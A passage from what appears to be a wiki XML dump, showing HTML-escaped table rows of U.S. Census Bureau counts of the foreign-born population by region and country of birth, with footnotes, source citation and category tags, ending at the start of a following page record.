    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,304&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,147&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;584&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;435&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;588&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;69&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;70&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Other Oceania&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,527&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,712&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,415&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,013&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,065&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;806&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;326&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;286&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;70&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;71&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Latin America&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;791,840&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;588,843&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;279,514&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;137,458&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;107,307&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;90,073&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;57,871&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;38,315&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;20,773&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;71&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;72&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Caribbean&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;106,241&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;78,962&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;47,635&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;25,435&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;23,256&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;16,401&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;11,570&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;7,353&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,772&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;72&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;73&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Cuba&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;18,493&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;14,872&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;15,133&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;11,081&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;6,917&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,319&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;73&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;74&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Other Caribbean&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;87,748&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;64,090&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;32,502&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;14,354&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,484&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;6,251&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;74&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;75&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Central America&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;651,976&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;491,330&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;223,651&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;107,290&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;79,045&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;69,106&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;42,736&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;27,699&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;13,458&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;75&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;76&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Mexico&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;641,462&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;486,418&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;221,915&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;103,393&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;77,853&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;68,399&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;42,435&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;27,466&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;13,317&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;76&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;77&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Other Central America&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;10,514&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,912&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,736&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,897&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,192&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;707&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;301&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;233&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;141&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;77&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;78&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;South America&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;33,623&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;18,551&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,228&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,733&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,006&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,566&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,565&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,263&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,543&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;78&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;79&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Northern America&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,310,369&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,138,174&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,209,717&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,179,922&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;980,938&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;717,286&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;493,467&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;249,970&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;147,711&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;79&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;80&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Canada&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,310,369&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,138,174&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,209,717&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,179,922&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;980,938&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;717,157&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;493,464&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;249,970&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;147,711&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;80&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;81&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Canada-French&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;370,852&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;307,786&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;385,083&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;395,126&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;302,496&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;81&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;82&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Canada-Other&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;915,537&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;817,139&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;819,554&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;784,796&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;678,442&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;82&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;83&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Newfoundland&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;23,980&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;13,249&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,080&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;83&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;84&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Other Northern America&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;129&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;84&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;85&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;Region or country not reported&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;6,596&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,925&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,614&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;10,742&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;6,012&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,068&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,592&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,888&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;41,977&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;85&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;86&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Born at sea&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,008&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,336&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;6,927&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,196&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,533&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,068&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,638&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,522&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;86&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;87&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Not reported&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,588&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,589&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,687&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,546&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;479&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;-&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;954&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,366&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;41,977&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;87&lt;/TD&gt;
  &lt;/TR&gt;
&lt;/TABLE&gt;
&lt;P&gt;
* Indicates sample data.&lt;BR&gt;
(NA) Not available.&lt;BR&gt;
n.e.c. Not elsewhere classified.&lt;BR&gt;
1/ Prior to 1980, Taiwan included with China.  See Table 3.
'''Source: U.S. Census Bureau, Population Division [http://www.census.gov/population/www/documentation/twps0029/tab04.html]'''

[[Category:History of immigration to the United States]]
[[Category:Demographics of the United States]]
[[de:Einwanderung in die USA]]</text>
    </revision>
  </page>
  <page>
    <title>ISIS</title>
    <id>15052</id>
    <revision>
      <id>40629311</id>
